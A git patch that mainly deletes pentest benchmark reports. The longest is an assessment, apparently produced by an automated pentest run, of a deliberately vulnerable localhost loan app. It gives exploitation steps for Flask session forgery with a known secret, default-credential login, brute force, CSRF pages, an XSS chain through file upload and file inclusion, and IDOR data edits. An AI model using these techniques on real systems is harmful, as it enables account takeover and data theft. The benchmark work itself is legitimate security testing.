From cd5f4b633c3578fc9c5c3b81180668ed21ea54ef Mon Sep 17 00:00:00 2001 From: Xenonesis Date: Sun, 22 Feb 2026 00:53:31 +0530 Subject: [PATCH 1/2] work in progress --- .vscode/settings.json | 3 + ...omprehensive_security_assessment_report.md | 1217 ----------------- .../injection_analysis_deliverable.md | 260 ---- .../deliverables/recon_deliverable.md | 423 ------ .../injection_exploitation_queue.json | 39 - .../deliverables/recon_deliverable.md | 638 --------- 6 files changed, 3 insertions(+), 2577 deletions(-) create mode 100644 .vscode/settings.json delete mode 100644 xben-benchmark-results/XBEN-022-24/deliverables/comprehensive_security_assessment_report.md delete mode 100644 xben-benchmark-results/XBEN-041-24/deliverables/injection_analysis_deliverable.md delete mode 100644 xben-benchmark-results/XBEN-041-24/deliverables/recon_deliverable.md delete mode 100644 xben-benchmark-results/XBEN-079-24/deliverables/injection_exploitation_queue.json delete mode 100644 xben-benchmark-results/XBEN-079-24/deliverables/recon_deliverable.md diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000..edc55ceb --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,3 @@ +{ + "snyk.advanced.autoSelectOrganization": true +} \ No newline at end of file diff --git a/xben-benchmark-results/XBEN-022-24/deliverables/comprehensive_security_assessment_report.md b/xben-benchmark-results/XBEN-022-24/deliverables/comprehensive_security_assessment_report.md deleted file mode 100644 index 01fd902c..00000000 --- a/xben-benchmark-results/XBEN-022-24/deliverables/comprehensive_security_assessment_report.md +++ /dev/null @@ -1,1217 +0,0 @@ -# Security Assessment Report - -## Executive Summary - -- **Target:** http://localhost:42029/ -- **Assessment Date:** 2025-11-01 -- **Scope:** Authentication, XSS, SQL and Command Injection, SSRF, Authorization testing - -## Summary by Vulnerability Type - -**Authentication Vulnerabilities:** - -Five critical authentication vulnerabilities were successfully exploited: -- **Complete Authentication Bypass via Session Forgery (CRITICAL):** Hardcoded secret key 'your_secret_key' enables trivial session cookie forgery, allowing impersonation of any user without credentials -- **Unlimited Brute Force (CRITICAL):** Zero rate limiting allows 76+ requests/second, enabling rapid credential compromise -- **Session Reuse After Logout (CRITICAL):** Logout fails to invalidate sessions server-side, allowing stolen cookies to remain valid indefinitely -- **Default Credentials (HIGH):** Hardcoded test:test credentials provide immediate unauthorized access -- **CSRF via Missing SameSite Cookie (HIGH):** All state-changing operations vulnerable to cross-site attacks, enabling profile modification and account takeover via email changes - -Three additional authentication vulnerabilities require internal network access (session hijacking via non-secure cookie flag, plaintext password storage requiring database access, and credential interception via HTTP-only transmission requiring MITM position). - -**Authorization Vulnerabilities:** - -Five critical horizontal IDOR vulnerabilities were successfully exploited through session forgery: -- **Unauthorized Profile Data Access:** Complete exposure of victim's PII including name, email, and financial data -- **Unauthorized Profile Modification:** Ability to modify any user's profile data including email (enabling account takeover) -- **Profile Modification + Malicious File Upload:** Combined data modification with unrestricted file upload capabilities, enabling backdoors and web shells -- **Unauthorized Home Page Access:** Privacy violation exposing victim's name and identity -- **Unauthorized Financial Data Access:** Complete exposure of sensitive loan amounts, terms, and payment schedules - -All vulnerabilities stem from the weak session secret key enabling session forgery combined with complete absence of object ownership validation in the authorization model. - -**Cross-Site Scripting (XSS) Vulnerabilities:** - -One critical stored XSS vulnerability was successfully exploited: -- **Stored XSS via File Upload + LFI Chain (CRITICAL):** Unrestricted file upload allows HTML file uploads, which when included via the error page's Local File Inclusion vulnerability, executes arbitrary JavaScript in victim browsers. Demonstrated impact includes complete profile data exfiltration and unauthorized profile modification without CSRF tokens. Attack enables account takeover, credential phishing, session riding, and malware distribution. - -**SQL/Command Injection Vulnerabilities:** - -No SQL or command injection vulnerabilities were found. The single queued vulnerability (INJ-VULN-01) claiming Server-Side Template Injection was determined to be a false positive after exhaustive testing. SQLAlchemy ORM provides effective parameterization preventing SQL injection, and no command execution sinks exist in the codebase. - -**Server-Side Request Forgery (SSRF) Vulnerabilities:** - -No SSRF vulnerabilities were found. The application makes zero outbound HTTP requests and has no URL parameter processing that could enable SSRF attacks. The architecture is purely request-response with no external integrations. - -## Network Reconnaissance - -**Open Ports and Services:** -- **Port 22/tcp:** OpenSSH 9.9 (remote administration, out of scope) -- **Port 80/tcp:** Caddy httpd (proxy/CDN service, not used by target app) -- **Port 443/tcp:** HTTPS service (not configured for target app) -- **Port 8000/tcp:** WSGIServer 0.2 "SSTI Demo" (out of scope test application) -- **Port 8001/tcp:** WSGIServer 0.2 "SSTI Demo" (out of scope test application) -- **Port 8888/tcp:** BaseHTTPServer 0.6 "SSRF Test Server" (out of scope) -- **Port 9999/tcp:** SimpleHTTPServer 0.6 Python file server -- **Target Application Port:** 42029 (dynamically mapped Docker port) - -**Security-Relevant Findings:** -- **No TLS/SSL Configuration:** Target application serves only unencrypted HTTP on port 80, exposing all traffic including credentials to interception -- **Apache 2.4.65 on Debian:** Modern version with no known critical vulnerabilities -- **MySQL 5.7:** End-of-life database (EOL October 2023) no longer receiving security updates, though port 3306 not externally exposed -- **Wildcard CORS Policy:** Access-Control-Allow-Origin: * enables cross-origin requests from any domain -- **Directory Indexing Enabled:** Static file directory allows directory browsing via Apache "Options Indexes" -- **Multiple Test Applications:** Additional vulnerable test services running on ports 8000, 8001, and 8888 increase attack surface - -**Subdomain Enumeration:** -Subfinder discovered 16 subdomains (naeu2.naeuinc.localhost, server02.counterintel.localhost, mail.localhost, etc.) appearing to be test/development artifacts. Actual application runs on localhost:42029 with no subdomain routing observed. - -# Injection Exploitation Evidence - -## Successfully Exploited Vulnerabilities - -No SQL injection, command injection, or server-side template injection vulnerabilities were successfully exploited. The single vulnerability in the queue (INJ-VULN-01 claiming SSTI) was determined to be a false positive after exhaustive testing with 15+ distinct exploitation attempts using curl, browser automation, and local code reproduction. User input is safely handled as Jinja2 template variable values, not executable template code. - -# Cross-Site Scripting (XSS) Exploitation Evidence - -## Successfully Exploited Vulnerabilities - -### XSS-VULN-01: Stored XSS via File Upload + LFI Chain - -**Summary:** -- **Vulnerable location:** File upload at `POST http://localhost:42029/update_profile` combined with Local File Inclusion at `GET http://localhost:42029/error?error_type=../images/[filename]` -- **Overview:** Attacker uploads malicious HTML file through unrestricted file upload, then triggers JavaScript execution by including the uploaded file via LFI in the error page template rendering -- **Impact:** Complete unauthorized profile modification, sensitive data exfiltration, persistent XSS allowing attacker to execute arbitrary JavaScript in victim's browser context -- **Severity:** Critical (CVSS 8.7) - Confidentiality: HIGH, Integrity: HIGH, Availability: LOW - -**Prerequisites:** -- Authentication required to upload malicious file (default credentials: test/test available) -- No special tools required beyond standard web browser or curl/fetch API -- Application running at http://localhost:42029/ - -**Exploitation Steps:** - -**Phase 1: Upload Malicious HTML File** - -1. Authenticate to the application: - ```bash - curl -X POST http://localhost:42029/login \ - -d "username=test&password=test" \ - -c cookies.txt -L - ``` - -2. Create malicious HTML payload file (`advanced_xss_payload.html`): - ```html - - - ``` - -3. Upload the malicious file via the profile update form: - ```bash - curl -X POST http://localhost:42029/update_profile \ - -b cookies.txt \ - -F "name=Test" \ - -F "lastname=User" \ - -F "email=test@test.com" \ - -F "loan_amount=10000" \ - -F "loan_term_months=60" \ - -F "monthly_payment=212.47" \ - -F "image_profile=@advanced_xss_payload.html" - ``` - - **Expected result:** File uploaded successfully to `/var/www/loan_calculator/app/static/images/advanced_xss_payload.html` - -**Phase 2: Trigger XSS Execution via Local File Inclusion** - -4. Navigate to the error page with LFI payload to execute the uploaded JavaScript: - ``` - http://localhost:42029/error?error_type=../images/advanced_xss_payload.html - ``` - - Or using curl: - ```bash - curl http://localhost:42029/error?error_type=../images/advanced_xss_payload.html \ - -b cookies.txt - ``` - - **Path resolution:** - - Input: `error_type=../images/advanced_xss_payload.html` - - Backend processing: `error_type = 'templates/' + '../images/advanced_xss_payload.html'` - - Resolved path: `templates/../images/advanced_xss_payload.html` → `/var/www/loan_calculator/app/static/images/advanced_xss_payload.html` - - Path traversal validation passes (file is within `/static/` directory) - - Jinja2 template directive: `{% include 'images/advanced_xss_payload.html' %}` - - Result: HTML rendered and JavaScript executed in browser - -**Phase 3: Verify Impact** - -5. Check browser console for exploitation results: - ``` - Expected console output: - === XSS EXPLOITATION RESULTS === - { - "exploitation_target": "http://localhost:42029/", - "timestamp": "2025-10-31T18:57:09.564Z", - "domain": "localhost", - "url": "http://localhost:42029/error?error_type=../images/advanced_xss_payload.html", - "cookies": "HttpOnly flag prevents access", - "unauthorized_actions": [ - { - "action": "Profile Data Exfiltration", - "success": true, - "data": { - "Name:": "\" onclick=\"alert(1)\"", - "Last Name:": "Doe", - "Email:": "test@test.com", - "Loan Amount:": "10000.0", - "Loan Term (Months):": "60", - "Monthly Payment:": "212.47" - } - }, - { - "action": "Unauthorized Profile Modification", - "success": true, - "status": 200, - "note": "Profile modified to demonstrate impact" - } - ] - } - ``` - -6. Verify unauthorized profile modification by navigating to the profile page: - ``` - http://localhost:42029/profile - ``` - - **Expected result:** - - Name: HACKED_BY_XSS (modified from original value) - - Last Name: EXPLOITED (modified from "Doe") - - Email: attacker@evil.com (modified from "test@test.com") - - Loan Amount: 999999.0 (modified from "10000.0") - - Loan Term: 999 months (modified from "60") - - Monthly Payment: 1.0 (modified from "212.47") - -7. Verify persistence by checking the home page: - ``` - http://localhost:42029/home - ``` - - **Expected result:** Page displays "Welcome HACKED_BY_XSS EXPLOITED!" instead of original user name - -8. Verify loan details page also reflects modified data: - ``` - http://localhost:42029/loan_details - ``` - - **Expected result:** - - "Your loan principal is 999999.0" - - "The term of your loan principal 999 months" - - "Your monthly payment is 1.0" - -**Proof of Impact:** - -**1. JavaScript Execution Confirmed:** - - Browser console log: "=== XSS EXPLOITATION RESULTS ===" @ http://localhost:42029/error?error_type=../images/advanced_xss_payload.html - - Complete JavaScript execution with full DOM access - - No Content Security Policy (CSP) restrictions - -**2. Sensitive Data Exfiltration:** - - Successfully extracted user profile data via XSS-triggered fetch request: - - Name: "\" onclick=\"alert(1)\"" - - Last Name: Doe - - Email: test@test.com - - Loan Amount: 10000.0 - - Loan Term: 60 months - - Monthly Payment: 212.47 - - Data captured and logged to console (in real attack, would be exfiltrated to attacker server) - -**3. Unauthorized Profile Modification (Critical Impact):** - - XSS payload successfully performed POST request to `/profile` endpoint - - Response status: 200 (success) - - Complete profile data modification achieved: - - Name changed to "HACKED_BY_XSS" - - Last name changed to "EXPLOITED" - - Email changed to "attacker@evil.com" - - Loan amount changed to 999999.0 - - Loan term changed to 999 months - - Monthly payment changed to 1.0 - - Modifications persisted across all application pages (home, profile, loan_details) - -**4. Attack Vector Characteristics:** - - **Persistence:** Stored XSS - malicious file remains on server until manually deleted - - **Scope:** Any user (authenticated or unauthenticated) who visits the crafted URL will have JavaScript executed in their browser context - - **No CSRF Protection:** Profile modification succeeded without CSRF tokens - - **HttpOnly Flag:** Session cookies are HttpOnly-protected (document.cookie returns empty), preventing direct cookie theft but not preventing unauthorized actions - -**5. Additional Attack Scenarios Enabled:** - - **Cross-Site Request Forgery via XSS:** Attacker can perform any authenticated action on behalf of victim - - **Credential Phishing:** XSS can inject fake login forms to capture passwords - - **Session Riding:** Use victim's existing session to perform actions without needing to steal cookies - - **Information Disclosure:** Extract any data visible in the DOM or accessible via fetch API - - **Malware Distribution:** Redirect users to malicious sites or trigger drive-by downloads - - **Privilege Escalation:** If admin user visits malicious link, attacker gains admin access - -**Notes:** - -**Authentication Requirement:** -- Attacker must be authenticated to upload the malicious file -- Default credentials (test/test) are publicly known and provide immediate access -- However, once uploaded, the XSS link can be shared with ANY user (authenticated or not) -- Victim does not need to be authenticated to have JavaScript execute in their browser - -**Vulnerability Root Causes:** -1. **Unrestricted File Upload:** No file type validation, MIME type checking, or content sanitization on `/update_profile` endpoint - - Application accepts HTML files when only image files should be allowed - - No file extension whitelist (should restrict to .png, .jpg, .gif, etc.) - - Code location: `/app/website/app/routes.py` lines 100-112 - -2. **Local File Inclusion:** Error page allows including arbitrary files from `/static/` directory via `error_type` parameter - - No whitelist of allowed template files - - Path traversal allowed within `/static/` directory - - Code location: `/app/website/app/routes.py` lines 122-133, `/app/website/app/static/templates/error.html` line 27 - -3. **Dangerous Template Inclusion:** Jinja2 `{% include %}` directive renders included files as templates, executing embedded JavaScript - - Uploaded user content treated as trusted template code - - No Content Security Policy to restrict inline script execution - -**Security Controls Bypassed:** -- ✅ Jinja2 auto-escaping: Bypassed by using template inclusion instead of variable interpolation -- ❌ No Content Security Policy (CSP): Inline scripts execute freely -- ❌ No file upload validation: HTML files accepted in image upload field -- ❌ No template inclusion whitelist: Any file in `/static/` can be included -- ❌ No CSRF protection: State-changing operations succeed without tokens -- ⚠️ HttpOnly flag: Prevents direct cookie theft but doesn't prevent XSS-driven actions - -**Business Impact:** -- **Account Takeover:** Attacker can modify victim's profile, email address for password reset attacks -- **Financial Data Manipulation:** Loan amounts and payment information can be altered -- **Reputation Damage:** Persistent XSS can affect all users visiting the malicious link -- **Compliance Violations:** Unauthorized access to PII (name, email, financial data) -- **Credential Harvesting:** XSS can inject phishing forms to capture user credentials - -**Evidence Artifacts:** -- Screenshot 1: xss_exploitation_profile_modified.png - Shows profile page with modified data (HACKED_BY_XSS, EXPLOITED, attacker@evil.com, etc.) -- Screenshot 2: xss_exploitation_home_page.png - Shows home page displaying "Welcome HACKED_BY_XSS EXPLOITED!" -- Payload file: /tmp/advanced_xss_payload.html - Complete malicious HTML payload -- Console logs: Full exploitation results logged to browser console with timestamps and action details - -**Remediation Priority:** CRITICAL - Immediate action required - ---- - -# Authentication Exploitation Evidence - -## Successfully Exploited Vulnerabilities - -### AUTH-VULN-06: Default Credential Authentication Bypass - -**Summary:** -- **Vulnerable location:** POST /login endpoint (http://localhost:42029/login) -- **Overview:** Application contains hardcoded default credentials (test:test) that are automatically created on startup and cannot be disabled -- **Impact:** Immediate unauthorized access to authenticated user accounts without requiring credential theft or brute force -- **Severity:** HIGH - -**Prerequisites:** -None - credentials are publicly visible in source code at `/app/website/app/__init__.py:20-35` - -**Exploitation Steps:** - -1. Attempt login with known default credentials: -```bash -curl -v -X POST http://localhost:42029/login \ - -d "username=test&password=test" \ - -c /tmp/session_cookies.txt -``` - -Expected response: HTTP 302 redirect to /home with Set-Cookie header - -2. Verify authenticated access to protected resources: -```bash -curl -b /tmp/session_cookies.txt http://localhost:42029/profile -``` - -Expected response: HTTP 200 with user profile data including: -- Name: " onclick="alert(1)" (or other value) -- Email: test@test.com -- Loan Amount: 10000.0 -- Loan Term: 60 months -- Monthly Payment: 212.47 - -3. Access other protected endpoints: -```bash -curl -b /tmp/session_cookies.txt http://localhost:42029/loan_details -curl -b /tmp/session_cookies.txt http://localhost:42029/home -``` - -**Proof of Impact:** -Successfully authenticated as user with default credentials and accessed: -- Complete user profile information (PII) -- Financial data (loan amounts, payment schedules) -- Ability to modify profile data via /update_profile endpoint -- Full access to all authenticated functionality - -**Notes:** -- Default account is recreated on every application restart if deleted -- Credentials are visible in public source code repository -- No mechanism exists to disable or change default credentials via configuration -- Combined with session forgery vulnerability (AUTH-VULN-02), enables complete authentication bypass - ---- - -### AUTH-VULN-02: Complete Authentication Bypass via Session Forgery - -**Summary:** -- **Vulnerable location:** Application-wide session management (/app/website/app/__init__.py:8) -- **Overview:** Flask session secret key is hardcoded as 'your_secret_key' - a well-known placeholder from documentation with ~0 bits of entropy -- **Impact:** Complete authentication bypass allowing impersonation of any user account without credentials -- **Severity:** CRITICAL - -**Prerequisites:** -- Knowledge of weak secret key: 'your_secret_key' (public in source code) -- Tool to forge Flask sessions: flask-unsign (or Python itsdangerous library) -- Valid user_id value to impersonate (can enumerate: 1, 2, 3, etc.) - -**Exploitation Steps:** - -1. Decode an existing session cookie to understand structure: -```bash -flask-unsign --decode --cookie 'eyJ1c2VyX2lkIjoxfQ.aQUGMg.4uw7x1q77gowFPnonAp_EVm3qyk' -``` - -Expected output: `{'user_id': 1}` - -2. Forge a session cookie for target user (user_id=2): -```bash -flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key' -``` - -Output: `eyJ1c2VyX2lkIjoyfQ.aQUIkQ.0mZoiC6KnfmR3j4jw_BQqyTwhjg` - -3. Use forged session to access victim's profile: -```bash -FORGED_SESSION="eyJ1c2VyX2lkIjoyfQ.aQUIkQ.0mZoiC6KnfmR3j4jw_BQqyTwhjg" -curl -b "session=$FORGED_SESSION" http://localhost:42029/profile -``` - -Expected response: HTTP 200 with user_id=2's profile data showing: -- Name: Alice -- Lastname: Victim -- Email: hacked@attacker.com -- Loan Amount: 75000.0 -- Loan Term: 180 months -- Monthly Payment: 833.33 - -4. Verify complete account takeover by accessing other endpoints: -```bash -curl -b "session=$FORGED_SESSION" http://localhost:42029/home -curl -b "session=$FORGED_SESSION" http://localhost:42029/loan_details -``` - -5. Demonstrate write access by modifying victim's profile: -```bash -curl -X POST http://localhost:42029/update_profile \ - -b "session=$FORGED_SESSION" \ - -d "name=ATTACKER&lastname=COMPROMISED&email=attacker@evil.com&loan_amount=99999&loan_term_months=1&monthly_payment=99999" -``` - -**Proof of Impact:** -Successfully forged valid session cookies and achieved: -- Complete authentication bypass (no credentials needed) -- Read access to any user's sensitive data (PII, financial information) -- Write access to modify any user's profile data -- Ability to impersonate users 1, 2, 3, and 5 (confirmed to exist) -- Full account takeover capability - -**Technical Details:** -- Secret key location: `/app/website/app/__init__.py:8` -- Session signature algorithm: HMAC-SHA1 (Flask/itsdangerous default) -- Session storage: Client-side only (no server-side validation) -- Cookie structure: `base64(data).timestamp.HMAC_signature` - -**Notes:** -This vulnerability enables attackers to: -- Bypass authentication entirely without stealing credentials -- Impersonate any user by forging session with their user_id -- Maintain persistent access (sessions never expire server-side) -- Evade detection (forged sessions are cryptographically valid) - ---- - -### AUTH-VULN-03: Unlimited Brute Force via Missing Rate Limiting - -**Summary:** -- **Vulnerable location:** POST /login endpoint (http://localhost:42029/login) -- **Overview:** Complete absence of rate limiting, account lockout, CAPTCHA, or any abuse prevention mechanism -- **Impact:** Unlimited password brute force attacks at 76+ requests/second enabling rapid credential compromise -- **Severity:** CRITICAL - -**Prerequisites:** -- Target username (can be enumerated or use default 'test') -- Password dictionary/wordlist -- HTTP client capable of rapid requests - -**Exploitation Steps:** - -1. Execute automated brute force attack script: -```bash -python3 /Users/khaushik/keygraph/pentest/shannon/repos/XBEN-022-24/test_rate_limiting.py -``` - -Script performs 50 rapid login attempts cycling through common passwords: -- ['admin', 'password', '123456', 'test', 'letmein', 'qwerty', 'welcome', 'monkey', 'dragon', 'master'] - -2. Observe results showing NO rate limiting: -``` -Total attempts: 50 -Total time taken: 0.65 seconds -Average requests/second: 76.34 -Successful logins (302): 5 -Failed logins (200): 45 -Rate limit responses: 0 -``` - -3. Verify successful authentication with discovered password: -```bash -curl -X POST http://localhost:42029/login \ - -d "username=test&password=test" \ - -c /tmp/brute_force_session.txt -``` - -Expected response: HTTP 302 redirect to /home - -4. Scale attack with larger wordlist (demonstration): -```bash -# Theoretical attack with rockyou.txt (14 million passwords) -# At 76 req/sec: ~51 hours to exhaust entire wordlist -# At 10 req/sec: ~16 days to exhaust entire wordlist -# No throttling, lockout, or CAPTCHA would prevent this -``` - -**Proof of Impact:** -Successful demonstration of: -- 76+ requests per second sustained throughput -- Zero HTTP 429 (Too Many Requests) responses -- Zero HTTP 503 (Service Unavailable) responses -- No artificial delays or progressive backoff -- Successful credential discovery via brute force (password: 'test') -- No account lockout after multiple failed attempts -- No CAPTCHA challenges presented - -**Technical Details:** -- Attack rate achieved: 76.34 req/sec -- Average response time: 0.013 seconds -- No Flask-Limiter middleware detected -- No Apache mod_ratelimit configuration -- No per-IP throttling implemented -- No failed login tracking in User model - -**Attack Scalability:** -With common wordlists: -- Top 1000 passwords: ~13 seconds -- Top 10,000 passwords: ~2 minutes -- RockYou.txt (14M passwords): ~51 hours -- Custom targeted wordlist: Seconds to minutes - -**Notes:** -- Attack can be parallelized across multiple IPs for even faster execution -- Combined with user enumeration, enables systematic account compromise -- No logging means attacks are completely undetected -- No notification mechanism to alert legitimate users - ---- - -### AUTH-VULN-05: Session Hijacking via Session Reuse After Logout - -**Summary:** -- **Vulnerable location:** GET /logout endpoint (http://localhost:42029/logout) -- **Overview:** Logout only deletes client-side cookie but session token remains cryptographically valid with no server-side invalidation -- **Impact:** Stolen session cookies remain valid indefinitely even after victim logs out, enabling persistent account access -- **Severity:** CRITICAL - -**Prerequisites:** -- Captured session cookie (via network sniffing, XSS, session forgery, or physical access) - -**Exploitation Steps:** - -1. Authenticate and capture a valid session cookie: -```bash -curl -v -X POST http://localhost:42029/login \ - -d "username=test&password=test" \ - -c /tmp/session_reuse_test.txt 2>&1 | grep "Set-Cookie" -``` - -Captured session: `eyJ1c2VyX2lkIjoxfQ.aQUI8Q.L83H4Gvn-yY5MCCdbQveYR9yyqU` - -2. Verify session works before logout: -```bash -SESSION_COOKIE="eyJ1c2VyX2lkIjoxfQ.aQUI8Q.L83H4Gvn-yY5MCCdbQveYR9yyqU" -curl -s -b "session=$SESSION_COOKIE" http://localhost:42029/home | grep "

" -``` - -Expected output: `

Welcome HACKED_BY_XSS EXPLOITED!

` - -3. Victim performs logout: -```bash -curl -s -b "session=$SESSION_COOKIE" http://localhost:42029/logout -``` - -Expected response: HTTP 302 redirect to /login - -4. Attacker reuses captured session AFTER victim logout: -```bash -curl -s -b "session=$SESSION_COOKIE" http://localhost:42029/home | grep -E "(|<h2>)" -``` - -Expected output: -``` -<title>Home -

Welcome HACKED_BY_XSS EXPLOITED!

-``` - -**Proof of Impact:** -Successfully demonstrated: -- Session cookie remains cryptographically valid after logout -- Full access to victim's account maintained after logout -- Access to all protected endpoints: /home, /profile, /loan_details, /update_profile -- Ability to read and modify victim's data post-logout -- No server-side session revocation mechanism - -**Technical Details:** -- Logout implementation: `session.pop('user_id', None)` at `/app/website/app/routes.py:44` -- Session storage: Client-side signed cookies only (no server-side session database) -- Session validation: Only verifies HMAC signature, not revocation status -- No session blacklist or invalidation list maintained -- Cookie deletion is client-side only (attacker retains copy) - -**Attack Scenarios:** -1. **Network Interception:** Attacker captures session via MITM → victim logs out → attacker maintains access -2. **XSS/Session Theft:** Attacker steals cookie via XSS → victim logs out thinking they're safe → attacker continues access -3. **Physical Access:** Attacker copies cookie from victim's browser → victim logs out → attacker uses copied cookie -4. **Session Fixation:** Attacker provides fixed session → victim logs in → victim logs out → attacker reuses session - -**Notes:** -- Sessions persist indefinitely (no server-side timeout) -- Combined with AUTH-VULN-07 (no timeout), attack window is unlimited -- Logout should implement server-side session invalidation -- No notification to user that their session is still active elsewhere - ---- - -### AUTH-VULN-09: Cross-Site Request Forgery (CSRF) via Missing SameSite Cookie - -**Summary:** -- **Vulnerable location:** All state-changing endpoints (POST /update_profile, GET /logout, POST /profile) -- **Overview:** Missing SameSite cookie attribute combined with no CSRF token validation allows cross-origin requests with victim's session cookies -- **Impact:** Complete account takeover via email modification, profile manipulation, and forced logout -- **Severity:** HIGH - -**Prerequisites:** -- Victim must be authenticated to http://localhost:42029 -- Attacker must trick victim into visiting malicious webpage -- Victim's browser must support automatic cookie transmission (all modern browsers) - -**Exploitation Steps:** - -**Attack 1: Profile Modification CSRF** - -1. Create malicious HTML page (/tmp/csrf_poc.html): -```html - - - - Legitimate Banking Offer - - -

Congratulations! You've Won a Prize!

-

Loading your prize details...

- - -
- - - - - - -
- - - - -``` - -2. Victim logs into application: -```bash -curl -X POST http://localhost:42029/login \ - -d "username=test&password=test" \ - -c /tmp/victim_cookies.txt -``` - -3. Victim visits attacker's malicious page (simulated via curl with victim's cookies): -```bash -curl -X POST http://localhost:42029/update_profile \ - -H "Origin: http://evil.com" \ - -H "Referer: http://evil.com/csrf_poc.html" \ - -b /tmp/victim_cookies.txt \ - -d "name=CSRF_VICTIM&lastname=HACKED&email=csrf_attack@evil.com&loan_amount=99999&loan_term_months=1&monthly_payment=99999" -``` - -Expected response: HTTP 302 redirect to /profile (success) - -4. Verify profile was modified: -```bash -curl -b /tmp/victim_cookies.txt http://localhost:42029/profile | grep "CSRF_VICTIM" -``` - -Expected output: Input fields containing "CSRF_VICTIM", "HACKED", "csrf_attack@evil.com" - -**Attack 2: Logout CSRF (Denial of Service)** - -1. Create logout CSRF page (/tmp/csrf_logout.html): -```html - - - - Funny Cat Pictures - - -

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- - - - -``` - -2. Victim authenticated, visits page: -```bash -# Simulated logout via CSRF -curl -b /tmp/victim_cookies.txt http://localhost:42029/logout -``` - -3. Victim's session is destroyed without their knowledge: -```bash -curl -b /tmp/victim_cookies.txt http://localhost:42029/home -``` - -Expected response: HTTP 302 redirect to /login (session destroyed) - -**Proof of Impact:** -Successfully demonstrated: -- Profile modification without victim's knowledge or consent -- Email changed to attacker-controlled address (enables password reset account takeover) -- Financial data manipulation (loan amounts changed to fraudulent values) -- Forced logout causing denial of service -- No CSRF token validation on any endpoint -- No Origin/Referer header validation -- SameSite cookie attribute not configured (defaults to None) - -**Technical Details:** -- Cookie configuration: No `SESSION_COOKIE_SAMESITE` in `/app/website/app/__init__.py` -- CSRF protection: None (no Flask-WTF, no CSRF tokens) -- Origin validation: None (no Origin/Referer header checks) -- Logout method: GET (vulnerable to `` tag attacks) at `/app/website/app/routes.py:41` -- CORS policy: Wildcard `Access-Control-Allow-Origin: *` enables cross-origin requests - -**Attack Scenarios:** - -**Scenario 1: Account Takeover via Email Change** -1. Attacker sends victim malicious link: "You've won a prize!" -2. Victim clicks while authenticated to loan application -3. CSRF changes email to attacker@evil.com -4. Attacker initiates password reset (if feature existed) -5. Reset link sent to attacker's email -6. Complete account takeover achieved - -**Scenario 2: Financial Fraud** -1. Attacker creates CSRF form changing loan amount to $999,999 -2. Victim visits malicious page -3. Loan application shows fraudulent amount -4. Could impact credit reporting or loan approvals - -**Scenario 3: Session Hijacking** -1. Attacker forces logout via `` tag -2. Victim re-authenticates on phishing page (thinking original session expired) -3. Credentials captured by attacker - -**Notes:** -- Automated testing script available: /tmp/csrf_exploit.py -- Comprehensive documentation: /tmp/csrf_testing_guide.md, /tmp/README_CSRF_DEMO.md -- POC files: /tmp/csrf_poc.html, /tmp/csrf_logout.html -- Affects ALL state-changing operations (no CSRF protection implemented) -- Combined with wildcard CORS, allows any origin to make authenticated requests - ---- - -# Authorization Exploitation Evidence - -## Successfully Exploited Vulnerabilities - -### AUTHZ-VULN-01: Horizontal IDOR - Unauthorized Profile Data Access via Session Forgery - -**Summary:** -- **Vulnerable location:** GET /profile endpoint at `/app/website/app/routes.py:60-81` -- **Overview:** An attacker can forge Flask session cookies with arbitrary user_id values to access any user's complete profile information, including PII and sensitive personal data. -- **Impact:** Complete unauthorized access to victim's personally identifiable information (PII) including name, lastname, email address, and loan details. This enables identity theft, social engineering attacks, and privacy violations. -- **Severity:** Critical - -**Prerequisites:** -1. Knowledge of the weak Flask secret key: `'your_secret_key'` (hardcoded at `/app/website/app/__init__.py:8`) -2. flask-unsign tool or equivalent session forgery capability -3. Valid user_id value for the target victim (user IDs are sequential integers starting from 1) -4. Network access to http://localhost:42029/ - -**Exploitation Steps:** - -1. **Install flask-unsign tool:** - ```bash - pip install flask-unsign - ``` - -2. **Forge session cookie for victim user_id:** - ```bash - flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key' - ``` - Output: `eyJ1c2VyX2lkIjoyfQ.aQUGSw.Qs7h67AZBTpvKGmOy81SuuE2dXI` - -3. **Send GET request to /profile with forged session:** - ```python - import requests - - forged_session = "eyJ1c2VyX2lkIjoyfQ.aQUGSw.Qs7h67AZBTpvKGmOy81SuuE2dXI" - response = requests.get( - "http://localhost:42029/profile", - cookies={"session": forged_session} - ) - ``` - -4. **Extract victim's PII from response:** - The response HTML contains form fields populated with the victim's data: - - Name: `` - - Lastname: `` - - Email: `` - - Loan Amount: `` - - Loan Term: `` - - Monthly Payment: `` - -**Proof of Impact:** - -Successfully accessed victim (user_id=2) profile data: -``` -Status: 200 OK -Victim's Profile Data: - name: Alice - lastname: Victim - email: alice@victim.com - loan_amount: 50000.0 - loan_term_months: 120 - monthly_payment: 625.5 -``` - -**Notes:** -- This vulnerability affects all authenticated users in the system -- User enumeration is trivial due to sequential integer user IDs -- The weak secret key makes session forgery extremely easy -- No ownership validation exists in the code - the application blindly trusts the session-provided user_id - ---- - -### AUTHZ-VULN-02: Horizontal IDOR - Unauthorized Profile Modification via Session Forgery - -**Summary:** -- **Vulnerable location:** POST /profile endpoint at `/app/website/app/routes.py:60-75` -- **Overview:** An attacker can forge session cookies to modify any user's profile data, including name, email address, and loan details. This enables account takeover by changing the victim's email address. -- **Impact:** Complete unauthorized modification of victim's profile data and potential account takeover. Attacker can change victim's email to gain control of password reset flows, modify loan amounts to cause financial discrepancies, and corrupt user data integrity. -- **Severity:** Critical - -**Prerequisites:** -1. Knowledge of the weak Flask secret key: `'your_secret_key'` -2. flask-unsign tool for session forgery -3. Target victim's user_id value -4. Network access to http://localhost:42029/ - -**Exploitation Steps:** - -1. **Forge session cookie for victim (user_id=2):** - ```bash - flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key' - ``` - Output: `eyJ1c2VyX2lkIjoyfQ.aQUHQQ.R0q9iai2tmgrvP1P569QRx-6xxx` - -2. **Verify victim's current profile data (optional):** - Check database or use AUTHZ-VULN-01 to read current values: - ``` - BEFORE: name=Alice, lastname=Victim, email=alice@victim.com, loan_amount=50000 - ``` - -3. **Send malicious POST request with attacker-controlled data:** - ```python - import requests - - forged_session = "eyJ1c2VyX2lkIjoyfQ.aQUHQQ.R0q9iai2tmgrvP1P569QRx-6xxx" - - attack_data = { - 'name': 'COMPROMISED', - 'lastname': 'ACCOUNT', - 'email': 'attacker@evil.com', - 'loan_amount': '1000000.0', - 'loan_term_months': '999', - 'monthly_payment': '1.0' - } - - response = requests.post( - 